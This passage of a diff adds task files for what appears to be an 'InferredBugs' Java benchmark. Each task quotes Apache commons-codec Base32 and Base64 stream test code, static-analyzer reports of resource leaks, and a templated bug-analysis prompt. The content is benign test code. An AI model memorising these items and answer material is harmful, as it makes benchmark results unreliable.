+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipPastEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping to the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipToEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(3));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests if negative arguments to skip are handled correctly.
+     *
+     * @throws Throwable
+     */
+    @Test(expected=IllegalArgumentException.class)
+    public void testSkipWrongArgument() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        b32stream.skip(-10);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.codec.binary.Base32InputStream` acquired to `in` by call to `Base32InputStream(...)` at line 437 is not released after line 461.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base32InputStreamTest.testReadOutOfBounds()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base32InputStreamTest.testReadOutOfBounds():void.608f5634b2cb71e587e637aa96a7389e
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base32InputStreamTest.java
+
+### Key:
+Base32InputStreamTest.java|testReadOutOfBounds|RESOURCE_LEAK
+
+### Node Key:
+a58570508c05a6c218ad52e09959ece2
+
+### Hash:
+bd565c92fa44634840330aa26ab477b5
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3314/instruction.md b/inferredbugs-3314/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cf93442212994133da0a0e2bb65f6a7e9333cfbb
--- /dev/null
+++ b/inferredbugs-3314/instruction.md
@@ -0,0 +1,617 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 35
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class Base32InputStreamTest {
+
+    private static final String ENCODED_FOO = "MZXW6===";
+
+    private final static byte[] CRLF = { (byte) '\r', (byte) '\n' };
+
+    private final static byte[] LF = { (byte) '\n' };
+
+    private static final String STRING_FIXTURE = "Hello World";
+
+    /**
+     * Tests the problem reported in CODEC-130. Missing / wrong implementation of skip.
+     */
+    @Test
+    public void testCodec130() throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Base32OutputStream base32os = new Base32OutputStream(bos);
+
+        base32os.write(StringUtils.getBytesUtf8(STRING_FIXTURE));
+        base32os.close();
+
+        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+        Base32InputStream ins = new Base32InputStream(bis);
+
+        // we skip the first character read from the reader
+        ins.skip(1);
+        byte[] decodedBytes = Base32TestData.streamToBytes(ins, new byte[64]);
+        String str = StringUtils.newStringUtf8(decodedBytes);
+
+        assertEquals(STRING_FIXTURE.substring(1), str);
+    }
+
+    /**
+     * Tests the bug reported in CODEC-105. Bad interactions with InputStream when reading one byte at a time.
+     */
+    @Test
+    public void testCodec105() throws IOException {
+        Base32InputStream in = new Base32InputStream(new Codec105ErrorInputStream(), true, 0, null);
+        try {
+            for (int i = 0; i < 5; i++) {
+                in.read();
+            }
+        } finally {
+            in.close();
+        }
+    }
+
+    // /**
+    // * Test for the CODEC-101 bug: InputStream.read(byte[]) should never return 0
+    // * because Java's builtin InputStreamReader hates that.
+    // *
+    // * @throws Exception for some failure scenarios.
+    // */
+    // @Test
+    // public void testCodec101() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // byte[] result = new byte[8192];
+    // int c = in.read(result);
+    // assertTrue("Codec101: First read successful [c=" + c + "]", c > 0);
+    //
+    // c = in.read(result);
+    // assertTrue("Codec101: Second read should report end-of-stream [c=" + c + "]", c < 0);
+    // }
+
+    /**
+     * Another test for the CODEC-101 bug: In commons-codec-1.4 this test shows InputStreamReader explicitly hating an
+     * InputStream.read(byte[]) return of 0:
+     *
+     * java.io.IOException: Underlying input stream returned zero bytes at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:268) at
+     * sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306) at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158) at
+     * java.io.InputStreamReader.read(InputStreamReader.java:167) at java.io.BufferedReader.fill(BufferedReader.java:136) at
+     * java.io.BufferedReader.readLine(BufferedReader.java:299) at java.io.BufferedReader.readLine(BufferedReader.java:362) at
+     * org.apache.commons.codec.binary.Base32InputStreamTest.testInputStreamReader(Base32InputStreamTest.java:75)
+     *
+     * But in commons-codec-1.5 it's fixed. :-)
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testInputStreamReader() throws Exception {
+    // byte[] codec101 = StringUtils.getBytesUtf8(Base32TestData.CODEC_101_MULTIPLE_OF_3);
+    // ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+    // Base32InputStream in = new Base32InputStream(bais);
+    // InputStreamReader isr = new InputStreamReader(in);
+    // BufferedReader br = new BufferedReader(isr);
+    // String line = br.readLine();
+    // assertNotNull("Codec101:  InputStreamReader works!", line);
+    // }
+
+    /**
+     * Test the Base32InputStream implementation against the special NPE inducing input identified in the CODEC-98 bug.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    // @Test
+    // public void testCodec98NPE() throws Exception {
+    // byte[] codec98 = StringUtils.getBytesUtf8(Base32TestData.CODEC_98_NPE);
+    // ByteArrayInputStream data = new ByteArrayInputStream(codec98);
+    // Base32InputStream stream = new Base32InputStream(data);
+    //
+    // // This line causes an NPE in commons-codec-1.4.jar:
+    // byte[] decodedBytes = Base32TestData.streamToBytes(stream, new byte[1024]);
+    //
+    // String decoded = StringUtils.newStringUtf8(decodedBytes);
+    // assertEquals(
+    // "codec-98 NPE Base32InputStream", Base32TestData.CODEC_98_NPE_DECODED, decoded
+    // );
+    // }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testAvailable() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(1, b32stream.available());
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(0, b32stream.available());
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+        assertEquals(0, b32stream.available());
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamMimeChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32EmptyInputStreamPemChuckSize() throws Exception {
+        testBase32EmptyInputStream(BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    private void testBase32EmptyInputStream(int chuckSize) throws Exception {
+        byte[] emptyEncoded = new byte[0];
+        byte[] emptyDecoded = new byte[0];
+        testByteByByte(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+        testByChunk(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByChunk() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // OpenSSL interop test.
+        // encoded = StringUtils.getBytesUtf8(Base32TestData.ENCODED_32_CHARS_PER_LINE);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, Base32.PEM_CHUNK_SIZE, LF);
+        //
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByChunk(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByChunk(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests the Base32InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase32InputStreamByteByByte() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8(Base32TestData.BASE32_FIXTURE);
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA======\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // // Single Line test.
+        // String singleLine = Base32TestData.ENCODED_32_CHARS_PER_LINE.replaceAll("\n", "");
+        // encoded = StringUtils.getBytesUtf8(singleLine);
+        // decoded = Base32TestData.DECODED;
+        // testByteByByte(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        BaseNCodec codec = new Base32();
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base32TestData.randomData(codec, i);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByteByByte(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByChunk(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = Base32TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base32InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base32 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base32 encoded data.
+     * @param seperator
+     *            Line separator in the base32 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base32 commons-codec implementation.
+     */
+    private void testByteByByte(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base32InputStream(in, true, chunkSize, seperator);
+        byte[] output = new byte[encoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base32InputStream(in);
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base32InputStream(in, true, chunkSize, seperator);
+            in = new Base32InputStream(in, false);
+        }
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base32 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests markSupported.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testMarkSupported() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        // Always returns false for now.
+        assertFalse("Base32InputStream.markSupported() is false", in.markSupported());
+    }
+
+    /**
+     * Tests read returning 0
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testRead0() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        int bytesRead = 0;
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        bytesRead = in.read(buf, 0, 0);
+        assertEquals("Base32InputStream.read(buf, 0, 0) returns 0", 0, bytesRead);
+    }
+
+    /**
+     * Tests read with null.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testReadNull() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        try {
+            in.read(null, 0, 0);
+            fail("Base32InputStream.read(null, 0, 0) to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests read throwing IndexOutOfBoundsException
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testReadOutOfBounds() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+
+        try {
+            in.read(buf, -1, 0);
+            fail("Expected Base32InputStream.read(buf, -1, 0) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, 0, -1);
+            fail("Expected Base32InputStream.read(buf, 0, -1) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length + 1, 0);
+            fail("Base32InputStream.read(buf, buf.length + 1, 0) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length - 1, 2);
+            fail("Base32InputStream.read(buf, buf.length - 1, 2) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests skipping as a noop
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipNone() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        byte[] actualBytes = new byte[6];
+        assertEquals(0, b32stream.skip(0));
+        b32stream.read(actualBytes, 0, actualBytes.length);
+        assertArrayEquals(actualBytes, new byte[] { 102, 111, 111, 0, 0, 0 });
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping number of characters larger than the internal buffer.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipBig() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(3, b32stream.skip(1024));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipPastEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping to the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipToEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(3));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests if negative arguments to skip are handled correctly.
+     *
+     * @throws Throwable
+     */
+    @Test(expected=IllegalArgumentException.class)
+    public void testSkipWrongArgument() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        b32stream.skip(-10);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.codec.binary.Base32InputStream` acquired to `b32stream` by call to `Base32InputStream(...)` at line 508 is not released after line 513.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base32InputStreamTest.testSkipPastEnd()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base32InputStreamTest.testSkipPastEnd():void.eaac981d6ec00ba21d227c278abe6d9f
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base32InputStreamTest.java
+
+### Key:
+Base32InputStreamTest.java|testSkipPastEnd|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+211ad876622b7b4883ae3c64f2e8aa74
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3322/instruction.md b/inferredbugs-3322/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a4fc5476e5ee131f0918bfe4e8108b8e871520f9
--- /dev/null
+++ b/inferredbugs-3322/instruction.md
@@ -0,0 +1,588 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.Arrays;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * @version $Id $
+ * @since 1.4
+ */
+public class Base64InputStreamTest {
+
+    /**
+     * Decodes to {0, 0, 0, 255, 255, 255}
+     */
+    private static final String ENCODED_B64 = "AAAA////";
+
+    private final static byte[] CRLF = { (byte) '\r', (byte) '\n' };
+
+    private final static byte[] LF = { (byte) '\n' };
+
+    private static final String STRING_FIXTURE = "Hello World";
+
+    /**
+     * Tests the problem reported in CODEC-130. Missing / wrong implementation of skip.
+     */
+    @Test
+    @Ignore
+    public void testCodec130() throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Base64OutputStream base64os = new Base64OutputStream(bos);
+
+        base64os.write(STRING_FIXTURE.getBytes());
+
+        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+        Base64InputStream ins = new Base64InputStream(bis);
+
+        // we skip the first character read from the reader
+        ins.skip(1);
+        StringBuffer sb = new StringBuffer();
+        int len = 0;
+        byte[] bytes = new byte[10];
+        while ((len = ins.read(bytes)) != -1) {
+            String s = new String(bytes, 0, len, "iso-8859-1");
+            sb.append(s);
+        }
+        String str = sb.toString();
+
+        assertEquals(STRING_FIXTURE.substring(1), str);
+    }
+
+    /**
+     * Tests the bug reported in CODEC-105. Bad interactions with InputStream when reading one byte at a time.
+     */
+    @Test
+    public void testCodec105() throws IOException {
+        Base64InputStream in = new Base64InputStream(new Codec105ErrorInputStream(), true, 0, null);
+        try {
+            for (int i = 0; i < 5; i++) {
+                in.read();
+            }
+        } finally {
+            in.close();
+        }
+    }
+
+    /**
+     * Test for the CODEC-101 bug: InputStream.read(byte[]) should never return 0 because Java's builtin InputStreamReader hates that.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testCodec101() throws Exception {
+        byte[] codec101 = StringUtils.getBytesUtf8(Base64TestData.CODEC_101_MULTIPLE_OF_3);
+        ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+        Base64InputStream in = new Base64InputStream(bais);
+        byte[] result = new byte[8192];
+        int c = in.read(result);
+        assertTrue("Codec101: First read successful [c=" + c + "]", c > 0);
+
+        c = in.read(result);
+        assertTrue("Codec101: Second read should report end-of-stream [c=" + c + "]", c < 0);
+    }
+
+    /**
+     * Another test for the CODEC-101 bug: In commons-codec-1.4 this test shows InputStreamReader explicitly hating an
+     * InputStream.read(byte[]) return of 0:
+     * 
+     * java.io.IOException: Underlying input stream returned zero bytes at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:268) at
+     * sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306) at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158) at
+     * java.io.InputStreamReader.read(InputStreamReader.java:167) at java.io.BufferedReader.fill(BufferedReader.java:136) at
+     * java.io.BufferedReader.readLine(BufferedReader.java:299) at java.io.BufferedReader.readLine(BufferedReader.java:362) at
+     * org.apache.commons.codec.binary.Base64InputStreamTest.testInputStreamReader(Base64InputStreamTest.java:75)
+     * 
+     * But in commons-codec-1.5 it's fixed. :-)
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testInputStreamReader() throws Exception {
+        byte[] codec101 = StringUtils.getBytesUtf8(Base64TestData.CODEC_101_MULTIPLE_OF_3);
+        ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+        Base64InputStream in = new Base64InputStream(bais);
+        InputStreamReader isr = new InputStreamReader(in);
+        BufferedReader br = new BufferedReader(isr);
+        String line = br.readLine();
+        assertNotNull("Codec101:  InputStreamReader works!", line);
+    }
+
+    /**
+     * Test the Base64InputStream implementation against the special NPE inducing input identified in the CODEC-98 bug.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testCodec98NPE() throws Exception {
+        byte[] codec98 = StringUtils.getBytesUtf8(Base64TestData.CODEC_98_NPE);
+        ByteArrayInputStream data = new ByteArrayInputStream(codec98);
+        Base64InputStream stream = new Base64InputStream(data);
+
+        // This line causes an NPE in commons-codec-1.4.jar:
+        byte[] decodedBytes = Base64TestData.streamToBytes(stream, new byte[1024]);
+
+        String decoded = StringUtils.newStringUtf8(decodedBytes);
+        assertEquals("codec-98 NPE Base64InputStream", Base64TestData.CODEC_98_NPE_DECODED, decoded);
+    }
+
+    /**
+     * Tests the Base64InputStream implementation against empty input.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64EmptyInputStreamMimeChuckSize() throws Exception {
+        testBase64EmptyInputStream(BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests the Base64InputStream implementation against empty input.
+     * 
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64EmptyInputStreamPemChuckSize() throws Exception {
+        testBase64EmptyInputStream(BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    private void testBase64EmptyInputStream(int chuckSize) throws Exception {
